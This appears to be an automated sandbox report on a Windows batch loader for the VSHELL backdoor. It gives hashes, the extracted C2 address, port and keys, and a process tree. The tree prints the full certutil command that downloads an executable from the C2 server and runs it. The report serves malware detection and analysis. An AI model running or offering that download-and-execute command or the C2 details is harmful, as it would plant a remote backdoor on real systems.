Analysis
- max time kernel
148s - max time network
153s - platform
windows11-ltsc_2024_x64 - resource
win11ltsc2024-20260709-en - resource tags
arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows - submitted
31/08/2026, 00:16
Static task
static1
Behavioral task
behavioral1
Sample
windows.bat
Resource
win10v2004-20260513-en
windows10-2004-x64
4 signatures
150 seconds
General
- Target windows.bat
- Size 504B
- Sample260831-akfj2svthy
- SHA256 49ebcb1f08fc3f7adba02f8c75cd548b961194bdcf653d7956bfc39a35c4cfb3
- MD5 3959dccf421ca0e39e810f1a6c00be2b
- SHA1 85505eefceb3b30d8ed49ba537b121ca2710cff3
- SHA512 4bf9327d37330c6203728e7d029384feb1cbd621abdabd0dbd770a834b4b7c64a0eb05643998a9a5586c964211663dc462f4460625fa904132aa4d6314e4acb3
- TLSH T12BF09EDC043A28B10BCEC9037EB07481B18B41C18FE1E48C1DD623E97E495B829EB682
- MD5 SHA1 SHA512 TLSH
Malware Config
Extracted
Family
-
vshell
C2
-
124.222.109.22
Attributes
-
port
8084
-
salt
qwe123qwe
-
type
tcp
-
vkey
qwe123qwe
Signatures
- Detects VSHELL Backdoor 1 IoCs
resource yara_rule behavioral2/memory/1656-7-0x0000000067700000-0x0000000067ED4000-memory.dmp family_vshell - Downloads MZ/PE file 2 IoCs
flow pid Process 5 360 certutil.exe 7 360 certutil.exe - Executes dropped EXE 1 IoCs
pid Process 1656 eacf74c4tcp.exe - Executes a command shell one-liner 1 TTPs 2 IoCs
Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.
pid Process 1208 cmd.exe 1204 cmd.exe - Suspicious behavior: EnumeratesProcesses 5 IoCs
pid Process 5364 WMIC.exe 5364 WMIC.exe 5364 WMIC.exe 5364 WMIC.exe 1656 eacf74c4tcp.exe - Suspicious use of AdjustPrivilegeToken 43 IoCs
description pid Process Token: SeIncreaseQuotaPrivilege 5364 WMIC.exe Token: SeSecurityPrivilege 5364 WMIC.exe Token: SeTakeOwnershipPrivilege 5364 WMIC.exe Token: SeLoadDriverPrivilege 5364 WMIC.exe Token: SeSystemProfilePrivilege 5364 WMIC.exe Token: SeSystemtimePrivilege 5364 WMIC.exe Token: SeProfSingleProcessPrivilege 5364 WMIC.exe Token: SeIncBasePriorityPrivilege 5364 WMIC.exe Token: SeCreatePagefilePrivilege 5364 WMIC.exe Token: SeBackupPrivilege 5364 WMIC.exe Token: SeRestorePrivilege 5364 WMIC.exe Token: SeShutdownPrivilege 5364 WMIC.exe Token: SeDebugPrivilege 5364 WMIC.exe Token: SeSystemEnvironmentPrivilege 5364 WMIC.exe Token: SeRemoteShutdownPrivilege 5364 WMIC.exe Token: SeUndockPrivilege 5364 WMIC.exe Token: SeManageVolumePrivilege 5364 WMIC.exe Token: 33 5364 WMIC.exe Token: 34 5364 WMIC.exe Token: 35 5364 WMIC.exe Token: 36 5364 WMIC.exe Token: SeIncreaseQuotaPrivilege 5364 WMIC.exe Token: SeSecurityPrivilege 5364 WMIC.exe Token: SeTakeOwnershipPrivilege 5364 WMIC.exe Token: SeLoadDriverPrivilege 5364 WMIC.exe Token: SeSystemProfilePrivilege 5364 WMIC.exe Token: SeSystemtimePrivilege 5364 WMIC.exe Token: SeProfSingleProcessPrivilege 5364 WMIC.exe Token: SeIncBasePriorityPrivilege 5364 WMIC.exe Token: SeCreatePagefilePrivilege 5364 WMIC.exe Token: SeBackupPrivilege 5364 WMIC.exe Token: SeRestorePrivilege 5364 WMIC.exe Token: SeShutdownPrivilege 5364 WMIC.exe Token: SeDebugPrivilege 5364 WMIC.exe Token: SeSystemEnvironmentPrivilege 5364 WMIC.exe Token: SeRemoteShutdownPrivilege 5364 WMIC.exe Token: SeUndockPrivilege 5364 WMIC.exe Token: SeManageVolumePrivilege 5364 WMIC.exe Token: 33 5364 WMIC.exe Token: 34 5364 WMIC.exe Token: 35 5364 WMIC.exe Token: 36 5364 WMIC.exe Token: SeDebugPrivilege 1656 eacf74c4tcp.exe - Suspicious use of WriteProcessMemory 5 IoCs
description pid Process procid_target PID 1208 wrote to memory of 1204 1208 cmd.exe 90 PID 1204 wrote to memory of 5364 1204 cmd.exe 91 PID 1204 wrote to memory of 3720 1204 cmd.exe 92 PID 1208 wrote to memory of 360 1208 cmd.exe 94 PID 1208 wrote to memory of 1656 1208 cmd.exe 95
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\windows.bat"1⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1208 -
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c wmic os get osarchitecture | findstr 642⤵
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:1204 -
C:\Windows\System32\Wbem\WMIC.exewmic os get osarchitecture3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:5364
-
-
C:\Windows\system32\findstr.exefindstr 643⤵PID:3720
-
-
-
C:\Windows\system32\certutil.execertutil.exe -urlcache -split -f "http://124.222.109.22:8084/?h=124.222.109.22&p=8084&t=tcp&a=w64&stage=true" "C:\Users\Public\eacf74c4tcp.exe"2⤵
- Downloads MZ/PE file
PID:360
-
-
C:\Users\Public\eacf74c4tcp.exe"C:\Users\Public\eacf74c4tcp.exe"2⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1656
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
- Path C:\Users\Public\eacf74c4tcp.exe
- Size 3KB
- SHA256 fff51166f56776a19c9ec24653305e42bb076a5a9dc49c8b7b884d67c503a201
- MD5 a23a2b0453f6d5b59d439b899159b665
- SHA1 689c49bb397bce087c6558f0c1bf9c313433268e
- SHA512 8c4f56369f0c8c7af9cd8608ce89dd1633396551244a49bfea276b3d17ff0ea771bf02a001ce992f2bf91f475ab14d29dd9ad1b2e22cc5bacefc20921e528d11
- TLSH T1CF71B54160541AF2D98CA37FC587B8A9FD4FB248A2C84B0F0798981A3F7547BB0D9613
- MD5 SHA1 SHA512 TLSH